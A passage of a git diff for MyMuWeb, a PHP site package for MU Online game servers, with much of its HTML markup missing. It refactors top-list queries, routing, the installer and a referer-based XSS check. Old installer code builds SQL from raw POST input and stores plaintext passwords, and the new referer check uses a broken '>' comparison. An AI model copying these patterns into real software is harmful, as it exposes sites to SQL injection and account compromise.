' + . mmw_lang_total_guilds . ': ' . $total_guilds . '
'; + return true; + } + + return false; +} +/////// End Statisitcs /////// + + +/////// Start TOP List /////// +function top_list($what = null, $top = null) +{ + global $mmw; + if (empty($what)) { + $what = 'char'; + } + if (empty($top)) { + $top = '5'; + } + $withoutGM = !empty($mmw['gm_show']) + ? ' WHERE CtlCode < 8' + : ''; + + echo ''; + + switch ($what) { + case 'char': + $isReset = false; + $list = ''; + $index = 1; + + $query = mssql_query("SELECT TOP {$top} Name,cLevel,{$mmw['reset_column']} FROM dbo.Character {$withoutGM} ORDER BY {$mmw['reset_column']} desc, cLevel DESC"); + while($row = mssql_fetch_assoc($query)) { + if (!empty($row[$mmw['reset_column']])) { + $isReset = true; + } + $topResult = $isReset + ? '' . $row[$mmw['reset_column']] . '' + : $row['cLevel']; + $list .= ''; + } + echo '' . $list; + + break; + case 'pk': + $query = mssql_query("SELECT TOP {$top} Name,PKcount FROM dbo.Character {$withoutGM} ORDER BY pkcount DESC"); + echo ''; + + $index = 1; + while ($row = mssql_fetch_assoc($query)) { + echo ''; + } + + break; + case 'guild': + $query = mssql_query("SELECT TOP {$top} G_Name,G_Score FROM dbo.Guild WHERE G_Name!='{$mmw['gm_guild']}' ORDER BY G_score DESC"); + echo ''; + + $index = 1; + while ($row = mssql_fetch_assoc($query)) { + echo ''; + } + break; + case 'ref': + $query = mssql_query("SELECT TOP {$top} ref_acc,count(ref_acc) AS total FROM dbo.MEMB_INFO WHERE ref_acc<>'' GROUP BY ref_acc ORDER BY total DESC"); + echo ''; + + $index = 1; + while ($row = mssql_fetch_assoc($query)) { + echo ''; + } + break; + case 'best': + $strongRow = mssql_fetch_assoc(mssql_query("SELECT TOP 1 Name FROM dbo.Character {$withoutGM} ORDER BY strength DESC, dexterity DESC, vitality DESC, energy DESC, Leadership DESC")); + $strong = empty($strongRow['Name']) + ? '---' + : '' . $strongRow['Name'] . ''; + echo ''; + break; + } + echo '
' . ($index++) . '' . $row['Name'] . '' . $topResult . '
#' . mmw_lang_character . '' . ($isReset ? mmw_lang_reset : mmw_lang_level) . '
#' . mmw_lang_character . '' . mmw_lang_killed . '
' . ($index++) . '' . $row['Name'] . '' . $row['PKcount'] . '
#' . mmw_lang_guild . '' . mmw_lang_score . '
' . ($index++) . '' . $row['G_Name'] . '' . $row['G_Score'] . '
#' . mmw_lang_account . '' . mmw_lang_referral . '
' . ($index++) . '' . $row['ref_acc'] . '' . $row['total'] . '
' . mmw_lang_very_strong . ': ' . $strong . ''; + + $withoutGMAnd = str_replace('WHERE', 'AND', $withoutGM); + if (empty($mmw['characters_class'])) { + $mmw['characters_class'] = 7; + } + for ($i = 0; $i < $mmw['characters_class']; $i++) { + $class = $i * 16; + $classRow = mssql_fetch_assoc(mssql_query("SELECT TOP 1 Name FROM dbo.Character WHERE (class BETWEEN $class AND " . ($class + 15) . ") {$withoutGMAnd} ORDER BY strength DESC, dexterity DESC, vitality DESC, energy DESC, Leadership DESC")); + $strongClass = empty($classRow['Name']) + ? '---' + : '' . $classRow['Name'] . ''; + echo '
» ' . char_class($class, 'full') . ': ' . $strongClass; + } + + $gamerRow = mssql_fetch_assoc(mssql_query("SELECT TOP 1 + ms.memb___id, + ac.GameIDC + FROM dbo.MEMB_STAT AS ms + LEFT JOIN dbo.AccountCharacter AS ac ON ac.Id COLLATE DATABASE_DEFAULT = ms.memb___id COLLATE DATABASE_DEFAULT + WHERE ms.ConnectStat = '1' ORDER BY ms.ConnectTM")); + $gamer = empty($gamerRow['GameIDC']) + ? '---' + : '' . $gamerRow['GameIDC'] . ''; + + $guildRow = mssql_fetch_assoc(mssql_query("SELECT TOP 1 G_Name FROM dbo.Guild WHERE G_Name!='{$mmw['gm_guild']}' ORDER BY G_Score DESC")); + $bestGuild = empty($guildRow['G_Name']) + ? '---' + : '' . $guildRow['G_Name'] . ''; + + echo '
' . mmw_lang_best_gamer . ': ' . $gamer . '
' . mmw_lang_best_guild . ': ' . $bestGuild . '
'; +} +/////// End TOP List /////// + + +/////// Start Pop Under ////// +/** + * @deprecated Remove this code from template + */ +function popunder() +{ + echo ''; +} +/////// End Pop Under /////// + + +/////// Start MP3 Player ////// +function mp3_player() +{ + global $media_color, $text_color, $mmw; + if ($mmw['mp3_player'] > 0) { + require __DIR__ . '/../media/player.php'; + } +} +/////// End MP3 Player /////// + + +/////// Start MMW End ////// +function end_mmw() +{ + global $mmw; + $timeStart = unserialize(TIME_START); + $timeEnd = gettimeofday(); + $execTime = ($timeEnd['sec'] + ($timeEnd['usec'] / 1000000)) - ($timeStart['sec'] + ($timeStart['usec'] / 1000000)); + echo 'MyMuWeb ' . $mmw['version'] . ' by Vaflan. Generation Time: ' . substr($execTime, 0, 5) . 's.'; +} +/////// End MMW End /////// diff --git a/includes/times.php b/includes/times.php index 6177cd3..64901c9 100644 --- a/includes/times.php +++ b/includes/times.php @@ -1,62 +1,90 @@ -30) {$bcht = $hour+1; $bct = "'".$bcht."','30'";} -else {$bct = "'".$hour."','30'";} - -if($duotime<145) {$cct = "1";} elseif($duotime<345) {$cct = "3";} -elseif($duotime<545) {$cct = "5";} elseif($duotime<745) {$cct = "7";} -elseif($duotime<945) {$cct = "9";} elseif($duotime<1145) {$cct = "11";} -elseif($duotime<1345) {$cct = "13";} elseif($duotime<1545) {$cct = "15";} -elseif($duotime<1745) {$cct = "17";} elseif($duotime<1945) {$cct = "19";} -elseif($duotime<2145) {$cct = "21";} else {$cct = "23";} - -if($duotime<100) {$dst = "1";} elseif($duotime<300) {$dst = "3";} -elseif($duotime<500) {$dst = "5";} elseif($duotime<700) {$dst = "7";} -elseif($duotime<900) {$dst = "9";} elseif($duotime<1100) {$dst = "11";} -elseif($duotime<1300) {$dst = "13";} elseif($duotime<1500) {$dst = "15";} -elseif($duotime<1700) {$dst = "17";} elseif($duotime<1900) {$dst = "19";} -elseif($duotime<2100) {$dst = "21";} else {$dst = "23";} - -if($duotime<100) {$get = "1";} elseif($duotime<400) {$get = "4";} -elseif($duotime<700) {$get = "7";} elseif($duotime<1000) {$get = "10";} -elseif($duotime<1300) {$get = "13";} elseif($duotime<1600) {$get = "16";} -elseif($duotime<1900) {$get = "19";} elseif($duotime<2200) {$get = "22";} -?> - - +">
-Devil Square: Error: Turn On JavaScript
-Blood Castle: Error: Turn On JavaScript
-Chaos Castle: Error: Turn On JavaScript
+$bct = ($minutes >= 30) + ? $hour + 1 + : $hour; - + diff --git a/includes/validate.class.php b/includes/validate.class.php deleted file mode 100644 index d7c4d21..0000000 --- a/includes/validate.class.php +++ /dev/null @@ -1,430 +0,0 @@ - string, // all - 'type' => string, // text or select - // text covers html types: text, textarea, hidden, password - // select covers html types: select, checkbox and radio - 'label' => string, // field label ( eg. 'Phone number' ) - 'required' => boolean, // field must have value - 'cont' => string, // content type: email, word, alpha, digit - 'ereg' => string, // text, textarea - 'preg' => string, // text, textarea - 'len' => integer, // accurate length - 'len_min' => integer, // min length - 'len_max' => integer, // max length - 'val_max' => integer, // max value of an integer ( use with cont == digit ) - 'val_min' => integer, // min value of an integer ( use with cont == digit ) - 'values' => array; // select accepted values - 'forbid' => array; // forbidden values that match other criteria - 'arr_size_min' => integer // when field name is an array( eg. 'phones[]' ) - // minimum number of elements in array - // Fields dependencies - - - 'eqal' => mixed, // array or string, - // value of this field must be equal to value of field in array() - // eg. in when there are two password boxes either array or string - 'with' => mixed, // array or string, value must exist with other value(s) - 'alt_or' => mixed, // array or string, at least one of fields must have a value - 'alt_xor' => mixed // array or string, only one field must have a value -); -*/ -class FormValidator { - - /** - * Form definition - * - * @var array - * @access private - */ - var $elems = array(); - - /** - * If error occured while validation - * - * @var boolean - * @access private - */ - var $err = false; - - /** - * Validation status for each field - * - * @var array - * @access private - */ - var $validElems = array(); - - /** - * Fields that need dependency check - * - * @var array - * @access private - */ - var $secPhase = array(); - - - /** - * Constructor - * - * @param mixed $elems form definition - * @access public - * @return void - */ - function FormValidator(&$elems) { - if ( is_array($elems) ) { - // hmm... - is_array($elems[0]) ? $this->elems = $elems : $this->elems[] = $elems; - } - } - - - /** - * Validates Form - * - * @param array $request - $_GET, $_POST, $_SESSION or other data - * @access public - * @return boolean true - validation OK, false - validation error - */ - function validate(&$request) { - - // validated elems - $this->validElems = array(); - - $this->err = false; - - // fields that needs dependency check - $this->secPhase = array(); - - - foreach ( $this->elems as $e ) { - $name = $e['name']; - - isset($e['label']) ? null : $e['label'] = null; - - // Field not present in html form - if ( !isset($request[$name]) ) { - $this->_setError($name); continue; - } - - $val = $request[$name]; - - // If field name is an array ( eg. phones[] in example above ) - if ( is_array($val) ) { - if ( !empty($e['arr_size_min']) && $e['arr_size_min'] > 0 ) { - $c = 0; - foreach($val as $v) { - if ( !empty($v) ) { - $c++; - } - } - if ( $c < $e['arr_size_min'] ) { - $this->_setError($name); continue; - } - } - } - // Each value is converted to an array - else { - $val = array($val); - } - - - foreach ( $val as $k => $v ) { - if ( $e['required'] == true && empty($v) ) { - $this->_setError($name, $k, $v, $e['label']); - //$this->validElems[$name][$k] = array($v, false); - continue; - } - elseif ( empty($v) ) { - - $e['validated'] = true; - $this->validElems[$name][$k] = array($v,true); - continue; - } - - - if ( in_array($e['type'], array('text')) ) { - if ( !empty($e['len']) && $e['len'] != strlen($v) ) { - $this->_setError($name, $k, $v, $e['label']); continue; - } - if ( !empty($e['len_min']) && strlen($v) < $e['len_min'] ) { - $this->_setError($name, $k, $v, $e['label']); continue; - } - if ( !empty($e['len_max']) && strlen($v) > $e['len_max'] ) { - $this->_setError($name, $k, $v, $e['label']); continue; - } - if ( !empty($e['val_min']) && $v < $e['val_min'] ) { - $this->_setError($name, $k, $v, $e['label']); continue; - } - if ( !empty($e['val_max']) && $v > $e['val_max'] ) { - $this->_setError($name, $k, $v, $e['label']); continue; - } - if ( !empty($e['ereg']) && !ereg($e['ereg'], $v) ) { - $this->_setError($name, $k, $v, $e['label']); continue; - } - if ( !empty($e['preg']) && !preg_match($e['preg'], $v) ) { - $this->_setError($name, $k, $v, $e['label']); continue; - } - - if ( !empty($e['forbid']) && in_array($v, $e['forbid']) ) { - $this->_setError($name, $k, $v, $e['label']); continue; - - } - - if ( isset($e['cont']) && in_array($e['cont'], array('email', 'alpha', 'word', 'digit')) ) { - $expr = ''; // just temporally - // digits only - if ( $e['cont'] == 'digit' ) { - $expr = "/^\d*$/"; - } - // email verify - elseif ( $e['cont'] == 'email' ) { - if ( !$this->verifyEmail($v) ) { - $this->_setError($name, $k, $v, $e['label']); continue; - } - } - elseif ( $e['cont'] == 'alpha' ) { - $expr = "/^[a-zA-Z0-9\_\-]*$/"; - } - elseif ( $e['cont'] == 'word' ) { - $expr = "/^\w*$/"; - } - - - // del first condition when class would be complete... - if ( !empty($expr) && !preg_match($expr, $v) ) { - $this->_setError($name, $k, $v, $e['label']); continue; - } - } - - if ( !empty($e['with']) ) { - $this->secPhase[] = $e; - } - - if ( !empty($e['equal']) ) { - $this->secPhase[] = $e; - } - - foreach ( array('with', 'equal', 'alt_or', 'alt_xor') as $eq ) { - if ( !empty($e[$eq]) ) { - $this->secPhase[] = $e; - break; - } - } - } - elseif ( $e['type'] == 'select' ) { - if ( isset($e['values']) && !in_array($v, $e['values']) ) { - $this->_setError($name, $k, $v, $e['label']); continue; - } - - foreach ( array('with', 'equal', 'alt_or', 'alt_xor') as $eq ) { - if ( !empty($e[$eq]) ) { - $this->secPhase[] = $e; - break; - } - } - - } - // hmm... - else { - $this->_setError($name, $k, $v, $e['label']); continue; - - } - - $this->validElems[$name][$k] = array($v,true); - } - - } - - - $this->_validateSecondPhase($request); - return $this->err; - } - - - - /* - * Dependency check - * - * @param array array $request - $_GET, $_POST, $_SESSION or other data - * @access private - * @return void - */ - function _validateSecondPhase(&$request) { - foreach ( $this->secPhase as $e ) { - $name = $e['name']; - $val = $request[$name]; - - if ( !is_array($val) ) { - $val = array($val); - } - - - foreach ( $val as $k => $v) { - - if ( isset($e['with']) && is_array($e['with']) ) { - foreach ($e['with'] as $eq) { - if ( !empty($v) && empty($this->validElems[$eq][$k][0]) ) { - $this->_setError($eq, $k, $v, $e['label']); - continue; - } - } - } - elseif ( !empty($e['with']) && !empty($v) && empty($this->validElems[$e['with']][$k][0]) ) { - $this->_setError($e['with'], $k, $v, $e['label']); continue; - } - - - if ( isset($e['equal']) && is_array($e['equal']) ) { - foreach ( $e['equal'] as $eq ) { - if ( $v != $this->validElems[$eq][$k][0] ) { - $this->_setError($name, $k, $v, $e['label']); continue; - } - } - } - elseif ( !empty($e['equal']) && $v != $this->validElems[$e['equal']][$k][0] ) { - $this->_setError($name, $k, $v, $e['label']); continue; - } - - - if ( isset($e['alt_or']) && is_array($e['alt_or']) && empty($v) ) { - $c = 0; - foreach ( $e['alt_or'] as $eq ) { - empty($this->validElems[$e['alt_or']][$k][0]) ? $c++ : null; - } - if ( $c == 0 ) { - $this->_setError($name, $k, $v, $e['label']); continue; - } - } - elseif ( !empty($e['alt_or']) && empty($v) && empty($this->validElems[$e['alt_or']][$k][0]) ) { - $this->_setError($e['with'], $k, $v, $e['label']); continue; - } - - - if ( isset($e['alt_xor']) && is_array($e['alt_xor']) ) { - $c = 0; - foreach ( $e['alt_xor'] as $eq ) { - empty($this->validElems[$e['alt_xor']][$k][0]) ? null : $c++; - } - - if ( empty($v) && $c != 1 ) { - $this->_setError($e['with'], $k, $v, $e['label']); continue; - } - elseif ( !empty($v) && $c > 0 ) { - $this->_setError($e['with'], $k, $v, $e['label']); continue; - } - } - elseif ( !empty($e['alt_xor']) ) { - if ( empty($v) && empty($this->validElems[$e['alt_xor']][$k][0]) ) { - $this->_setError($e['with'], $k, $v, $e['label']); continue; - } - elseif ( !empty($v) && !empty($this->validElems[$e['alt_xor']][$k][0]) ) { - $this->_setError($e['with'], $k, $v, $e['label']); continue; - } - } - - - } - } - } - - - /** - * Email verification - * - * @param string $email - * @access private - * @return boolean true if OK otherwise false - */ - function verifyEmail($email) { - $expr = '/^(.+)@(([a-z0-9\.-]+)\.[a-z]{2,5})$/i'; - $uexpr = "/^[a-z0-9\~\!\#\$\%\&\(\)\-\_\+\=\[\]\;\:\'\"\,\.\/]+$/i"; - if (preg_match($expr, $email, $regs)) { - $username = $regs[1]; - $host = $regs[2]; - //if (checkdnsrr($host, MX)) { - if (preg_match($uexpr, $username)) { - return true; - } - else { - return false; - } - //} - //else { - // return false; - //} - } - else { - return false; - } - } - - - /** - * WARNING ! - * Function name will be changed in future releases - * - * Highlight field/text with Smarty - if you don't use smarty it's quite useless... - * - * - * @param object $s - Smarty object - * @param string $class_name - a css class name to assign - * @access public - * @return void - */ - function assignErrorClass() { - foreach ( $this->validElems as $k => $v ) { - - foreach ( $v as $k1 => $v1) { - echo $v[name]; - if ( $v1[1] === false ) { - $err_c[] = $v1[0]; - - } - - } - - } - - //$s->assign('err_c', $err_c); - return $err_c; - } - - /** - * WARNING ! - * Function name may be changed in future releases - * - * Setting error - * - * @param string $name field name - * @param integer $k key value usually 0 until field name is an array ( eg. phones[]) - * @param string $value field value - * @param string $label - field label - * @access private - * @return void - */ - function _setError($name, $k=0, $value = '', $label = '') { - - $this->validElems[$name][$k] = array($value, false, $label); - $this->err = true; - } - - /** - * get array with validation result - * - * @access public - * @return array - array with validation result for each field - */ - function getValidElems() { - return $this->validElems; - } -} - - -?> \ No newline at end of file diff --git a/includes/xss_check.php b/includes/xss_check.php index 2fd5979..66ac689 100644 --- a/includes/xss_check.php +++ b/includes/xss_check.php @@ -6,26 +6,18 @@ Author: Yuri 'Bela' Belotitski Version: 0.5 beta @ 02.06.2008 Author URI: http://www.portal.khakrov.ua/ +Modified by Vaflan 19.10.2010 */ +if (isset($_SERVER['HTTP_REFERER'])) { + $parse = parse_url($_SERVER['HTTP_REFERER']); -function htauth() -{ - if (strpos($_SERVER['REQUEST_URI'], 'wp-admin') === false ) return; - if (strpos($_SERVER['REQUEST_URI'], 'async-upload.php') != false ) return; - - $p = parse_url($_SERVER['HTTP_REFERER']); - $p = $p['host']; - - if ( $p != $_SERVER['HTTP_HOST'] ) - { - if ($_POST) die('Achtung! XSS attack!'); - if ($_GET) die('Achtung! XSS attack?
Confirm transition: ' - . $_SERVER['REQUEST_URI'] . ''); - } + if ($parse['host'] > $_SERVER['HTTP_HOST']) { + if ($_POST) { + die('
Achtung! XSS attack!
'); + } + if ($_GET) { + die('
Achtung! XSS attack?
Confirm transition: ' . $_SERVER['REQUEST_URI'] . ''); + } + } } - -htauth(); - -?> \ No newline at end of file diff --git a/index.php b/index.php index 58c73aa..a977527 100644 --- a/index.php +++ b/index.php @@ -1,82 +1,99 @@ -".urldecode('http://'.$_SERVER["SERVER_ADDR"].$_SERVER["REQUEST_URI"]).""); +if ($mmw['look_after_all']) { + writelog('look_after_all', '' . urlencode('//' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']) . ''); } // Check For Installed -if(is_file("includes/installed.php")) { - include("includes/installed.php"); -} -else { - header('Location: install.php'); +if (!is_file(__DIR__ . '/includes/installed.php')) { + jump('install.php'); } // Start Header -if(is_file("$mmw[theme_dir]/header.php")) { - include("$mmw[theme_dir]/header.php"); -} -else { - die("$sql_die_start ErroR Theme!
Cant find $mmw[theme_dir]/header.php! $sql_die_end"); +if (is_file($mmw['theme_dir'] . '/header.php')) { + require_once $mmw['theme_dir'] . '/header.php'; +} else { + die($mmw['die']['start'] . 'Theme error!
Can`t find ' . $mmw['theme_dir'] . '/header.php!' . $mmw['die']['end']); } // Start Body -if(isset($_GET[news])) { - include("modules/news_full.php"); -} -elseif(isset($_GET[forum])) { - include("modules/forum_full.php"); -} -elseif(isset($_GET[op])) { - $op = preg_replace("/[^a-zA-Z0-9_-]/",'',$_GET[op]); - if(is_file("modules/$op.php")) {include("modules/$op.php");} - elseif(is_file("modules/$op.mmw")) {mmw("modules/$op.mmw");} - else {echo "$die_start Request is False!
Now we have your IP Address! $die_end";} -} -else { - if(is_file("modules/$mmw[home_page].php")) {include("modules/$mmw[home_page].php");} - elseif(is_file("modules/$mmw[home_page].mmw")) {mmw("modules/$mmw[home_page].mmw");} +$moduleDirectory = __DIR__ . '/modules/'; +if (isset($_GET['news'])) { + require_once $moduleDirectory . 'news_full.php'; +} elseif (isset($_GET['forum'])) { + require_once $moduleDirectory . 'forum_full.php'; +} elseif (isset($_GET['op'])) { + $op = preg_replace('/[^\w_-]/', '', $_GET['op']); + if (is_file($moduleDirectory . $op . '.php')) { + require_once $moduleDirectory . $op . '.php'; + } elseif (is_file($moduleDirectory . $op . '.mmw')) { + mmw($moduleDirectory . $op . '.mmw'); + } elseif (is_file($moduleDirectory . $op . '.html')) { + echo file_get_contents($moduleDirectory . $op . '.html'); + } else { + echo $die_start . 'Request is False!
Now we have your IP Address!' . $die_end; + } +} else { + $splitFileName = explode('.', $mmw['home_page']); + switch (end($splitFileName)) { + case 'php': + require_once $moduleDirectory . $mmw['home_page']; + break; + case 'mmw': + mmw($moduleDirectory . $mmw['home_page']); + break; + default: + echo @file_get_contents($moduleDirectory . $mmw['home_page']); + break; + } } // Start Pop Under -if($mmw[popunder]=='yes' && $mmw[popunder_check]=='yes' && empty($_SESSION[user])) { - mmw("includes/popunder.mmw"); -} -elseif($mmw[popunder]=='yes' && $mmw[popunder_check]!='yes') { - mmw("includes/popunder.mmw"); -} -else { - echo ""; +if ($mmw['popunder']) { + if (!$mmw['popunder_check'] || ($mmw['popunder_check'] && empty($_SESSION['user']))) { + mmw('includes/pop_under.mmw'); + } } -// ADS by Vaflan -if($mmw['thm_name']!='Default' && $mmw['thm_version']!='2.0' && $mmw['thm_creator']!='Vaflan') { -echo '
'; -echo ''; -echo ''; -echo '
';} +// ADS for Vaflan +if (filectime(__DIR__ . '/includes/installed.php') + 604800 < time()) { + echo << + + +HTML; +} // Start Footer -if(is_file("$mmw[theme_dir]/footer.php")) { - include("$mmw[theme_dir]/footer.php"); -} -else { - die("$sql_die_start ErroR Theme!
Cant find $mmw[theme_dir]/footer.php! $sql_die_end"); +if (is_file($mmw['theme_dir'] . '/footer.php')) { + require_once $mmw['theme_dir'] . '/footer.php'; +} else { + die($mmw['die']['start'] . 'Theme error!
Can`t find ' . $mmw['theme_dir'] . '/footer.php!' . $mmw['die']['die']); } +if (!empty($_ENV['mmw_cache'])) { + $data = json_encode($_ENV['mmw_cache']); + if ($_ENV['mmw_cache_raw'] !== $data) { + file_put_contents(__DIR__ . '/includes/mmw_cache.dat', $data); + } +} mssql_close($mssql_connect); ob_end_flush(); -?> \ No newline at end of file diff --git a/install.php b/install.php index f6784e1..6612248 100644 --- a/install.php +++ b/install.php @@ -1,200 +1,272 @@ - + - + - -MyMuWeb <?echo $mmw[version];?> Install by Vaflan + + MyMuWeb <?php echo $mmw['version']; ?> Install by Vaflan + + - -
- -Go To Normal Install $sql_die_end"); -} - -// START PAGE -if($pg=='1' || $pg=='') { - echo "$sql_die_start Install Page 1
Welcome To Installer MMW $mmw[version]!
Next Page You Install Table's and Column's
Next -> $sql_die_end"; - $data = ""; - $install_data = fopen("includes/installed.php",'w'); - fputs($install_data, $data); - fclose($install_data); -} - - - -// NEXT PAGE -elseif($pg=='2') { - $md5_select[$mmw[md5]] = 'selected'; - $md5_check = ""; - $result = @mssql_query("SELECT data_type FROM information_schema.columns WHERE table_name='MEMB_INFO' AND column_name='memb__pwd'"); - $row = @mssql_fetch_row($result); - if($row[0] == 'varbinary') {$md5_info = "DataBase use MD5 Column!
Please Choose MD5 - Yes.";} - else {$md5_info = "DataBase don't support MD5!
Please Choose MD5 - No.";} - echo "$sql_die_start Install Page 2
In 'config.php' Now MD5: $md5_check
$md5_info
Next -> $sql_die_end"; -} - - - -// NEXT PAGE -elseif($pg=='3') { - - if($_POST[md5] != $mmw[md5]) { - $cfg_file = 'config.php'; - $cfg_open = fopen($cfg_file, "r"); - $cfg_db = fread($cfg_open,filesize($cfg_file)); - fclose($cfg_open); - - $cfg_db = str_replace("\$mmw[md5] = '$mmw[md5]';","\$mmw[md5] = '$_POST[md5]';",$cfg_db); - $mmw[md5] = $_POST[md5]; - - $cfg_write = fopen($cfg_file, "w"); - fwrite($cfg_write, stripslashes($cfg_db)); - fclose($cfg_write); - } - - echo "$sql_die_start Install Page 3
Table's and Column's Install End! [Show]
Next Page You Create Admin
Next -> $sql_die_end"; - - echo "'; -} - - - - - -// NEXT PAGE -elseif($pg=='4') { - $sql = mssql_query("Select memb___id FROM mEMB_INFO"); - $users = ""; - - for($i=0; $i < mssql_num_rows($sql); ++$i) { - $row = mssql_fetch_row($sql); - $users = $users.""; - } - echo "$sql_die_start Install Page 4
Select User For Admin!
$sql_die_end"; -} - - - - - - -// NEXT PAGE -elseif($pg=='5') { - $login = $_POST['user']; - $password = $_POST['pass']; - - if(empty($login)) { - echo "$sql_die_start Install Page 5
No Selected!
If you need Admin, go Back
Back $sql_die_end"; - } - elseif($login!='register') { - if($mmw['md5'] == yes && isset($password)) { - mssql_query("INSERT INTO MEMB_INFO (memb___id,memb__pwd,memb_name,sno__numb,mail_addr,appl_days,modi_days,out__days,true_days,mail_chek,bloc_code,ctl1_code,memb__pwd2,fpas_ques,fpas_answ,country,gender,hide_profile,ref_acc) VALUES ('$login',[dbo].[fn_md5]('$password','$login'),'Admin','1234','admin@mmw.net',GETDATE(),GETDATE(),'2008-12-20','2008-12-20','1','0','0','$password','WhoYouAre','admin','0','male','0','0')"); + + + + + + Install only For IP: 127.0.0.1 or LocalHost
+ Go To Normal Install + '); endif; ?> + + + Install page 1
+ Welcome to installer MMW !
+ Next page you install tables and columns
+ + + WARNING!
+ The site has already been installed. +

+ +
+ + +
+ + + Install page 2
+ +
+
+
+ Please Choose MD5 - . +
+ +
+
+ + + Install page 3
+ + + Tables and columns install end! [Show] +
+ On the next page you can choose the site administrator
+
+ +
+ + + + + Install page 4
+ + Select user for admin!
+
+ +
+ +
+
+ + + Install page 5
+ + + + User not selected!
+ If you need Admin, go back
+
+ + +
+ +
+ + +
+ +
+
+ + + Admin created!
+ Now is the admin in the MyMuWeb
+
+ +
+ + + + Complete mistake! + + + \ No newline at end of file diff --git a/lang/English.php b/lang/English.php index 9e30b09..acc5325 100644 --- a/lang/English.php +++ b/lang/English.php @@ -1,407 +1,409 @@ -Currently:"); -define('mmw_lang_max_point',"Character Have Maximum Point!"); -define('mmw_lang_character_stats_added',"Character Has Been SuccessFully Stats Added!
Points Left To Add:"); -define('mmw_lang_is_not_killer',"Is Not a Killer, 2nd Level Killer Or a Phono!"); -define('mmw_lang_clean_pk_need',"To Clear Pk Need"); -define('mmw_lang_character_cleared',"Character Has Been SuccessFully Cleared!"); -define('mmw_lang_invalid_current_password',"Current Password Is Invalid (4-10 Alpha-Numeric Characters)"); -define('mmw_lang_invalid_new_password',"New Password Is Invalid (4-10 Alpha-Numeric Characters)"); -define('mmw_lang_old_and_new_password',"The Current Password And The New One Are The Same!"); -define('mmw_lang_password_changed',"Password SuccessFully Changed!"); -define('mmw_lang_question_or_answer_incorrect',"Secret Question Or Answer Is Incorrect!"); -define('mmw_lang_your_password',"Change It A Fast As You Can!!!
Your Password Is:"); -define('mmw_lang_profile_edited',"Profile SuccessFully Edited!"); -define('mmw_lang_move_need',"To Move Need"); -define('mmw_lang_character_moved',"Character SuccessFully Moved!"); -define('mmw_lang_zen_must_be_number',"Zen must be a positive number!"); -define('mmw_lang_zen_cant_move',"Zen Can't Move, because From = To!"); -define('mmw_lang_not_Zen_to_move',"Not Enough Zen, To Move!"); -define('mmw_lang_zen_more_max',"Zen is superfluous, it's more:"); -define('mmw_lang_zen_moved',"Zen SuccessFully Moved!"); -define('mmw_lang_cant_sent_comment_need_wait',"You have sent the comment, please wait:"); -define('mmw_lang_comment_sent',"Comment SuccessFully Sent!"); -define('mmw_lang_comment_deleted',"Comment SuccessFully Deleted!"); -define('mmw_lang_cant_or_alread_delete',"You Can't Edit, or is already delete!"); -define('mmw_lang_topic_status',"Topic Status SuccessFully Changed!"); -define('mmw_lang_topic_sent',"Topic SuccessFully sent!"); -define('mmw_lang_topic_deleted',"Topic SuccessFully Deleted!"); -define('mmw_lang_request_sent',"Request SuccessFully Sent!"); -define('mmw_lang_item_not_find',"Item Not Find, or is already delete!"); -define('mmw_lang_no_zen_to_sell_item',"Not Enough Zen in ExtraWareHouse, To Sell Item!"); -define('mmw_lang_item_sold',"Item SuccessFully Sold!"); -define('mmw_lang_no_zen_to_buy_item',"Not Enough Zen in ExtraWareHouse, To Buy Item!"); -define('mmw_lang_purchased_item_after',"You Purchased Item After:"); -define('mmw_lang_not_your_item',"This is not Your Item!"); -define('mmw_lang_take_away_item_from_market',"You take away item from Market!"); -define('mmw_lang_message_sent',"Message SuccessFully Sent To:"); -define('mmw_lang_message_deleted',"Message SuccessFully Deleted!"); -define('mmw_lang_minimum_zen_can_send',"Minimum Zen Can Send! You Have:"); -define('mmw_lang_no_zen_for_send_zen',"Can't Send Zen, you haven't zen for Service:"); -define('mmw_lang_zen_sent',"Zen To Character SuccessFully Sent!"); -define('mmw_lang_change_class_need',"To Change Class Need"); -define('mmw_lang_character_changed',"Character Class SuccessFully Changed"); -?> \ No newline at end of file +define('mmw_lang_left_blank', "Some Fields Were Left Blank!"); +define('mmw_lang_invalid_account', "Account Is Invalid (4-10 Alpha-Numeric Characters)"); +define('mmw_lang_invalid_email', "E-mail Is Invalid (ex. sombody@yahoo.com Max:50)"); +define('mmw_lang_invalid_password', "Password Is Invalid (4-10 Alpha-Numeric Characters)"); +define('mmw_lang_invalid_repassword', "Passwords Did not Match"); +define('mmw_lang_invalid_question', "Secret Question Is Invalid (4-10 Alpha-Numeric Characters, NO SPACES)"); +define('mmw_lang_invalid_answer', "Secret Answer Is Invalid (4-10 Alpha-Numeric Characters, NO SPACES)"); +define('mmw_lang_invalid_fullname', "Full Name Is Invalid (2-10 Alpha-Numeric Characters)"); +define('mmw_lang_correctly_code', "Please Write Code Correctly!"); +define('mmw_lang_account_in_use', "Account Is Already In Use, Please Choose Another!"); +define('mmw_lang_email_in_use', "E-Mail Is Already In Use, Please Choose Another!"); +define('mmw_lang_invalid_country', "Please Select Country Correctly!"); +define('mmw_lang_max_acc_one_ip', "On your IP Address {NUMBER} is already registered User"); +define('mmw_lang_account_created', "Your Account Has Been SuccesFully Created!"); +define('mmw_lang_character_does_not_exist', "Character Does Not Exist!"); +define('mmw_lang_for_reset_need', "For Reset Need"); +define('mmw_lang_reset_limit_to', "Reset limit is set to"); +define('mmw_lang_take_off_set', "You Forgot to Take off Set from Character"); +define('mmw_lang_character_reseted', "Your Character Has Been SuccessFully Reseted!"); +define('mmw_lang_point_must_be_number', "Points must be a positive number!"); +define('mmw_lang_dont_have_point', "Character Don't Have Enough Point
Currently:"); +define('mmw_lang_max_point', "Character Have Maximum Point!"); +define('mmw_lang_character_stats_added', "Character Has Been SuccessFully Stats Added!
Points Left To Add:"); +define('mmw_lang_is_not_killer', "Is Not a Killer, 2nd Level Killer Or a Phono!"); +define('mmw_lang_clear_pk_need', "To Clear Pk Need"); +define('mmw_lang_character_cleared', "Character Has Been SuccessFully Cleared!"); +define('mmw_lang_invalid_current_password', "Current Password Is Invalid (4-10 Alpha-Numeric Characters)"); +define('mmw_lang_invalid_new_password', "New Password Is Invalid (4-10 Alpha-Numeric Characters)"); +define('mmw_lang_old_and_new_password', "The Current Password And The New One Are The Same!"); +define('mmw_lang_password_changed', "Password SuccessFully Changed!"); +define('mmw_lang_question_or_answer_incorrect', "Secret Question Or Answer Is Incorrect!"); +define('mmw_lang_your_password', "Change It A Fast As You Can!!!
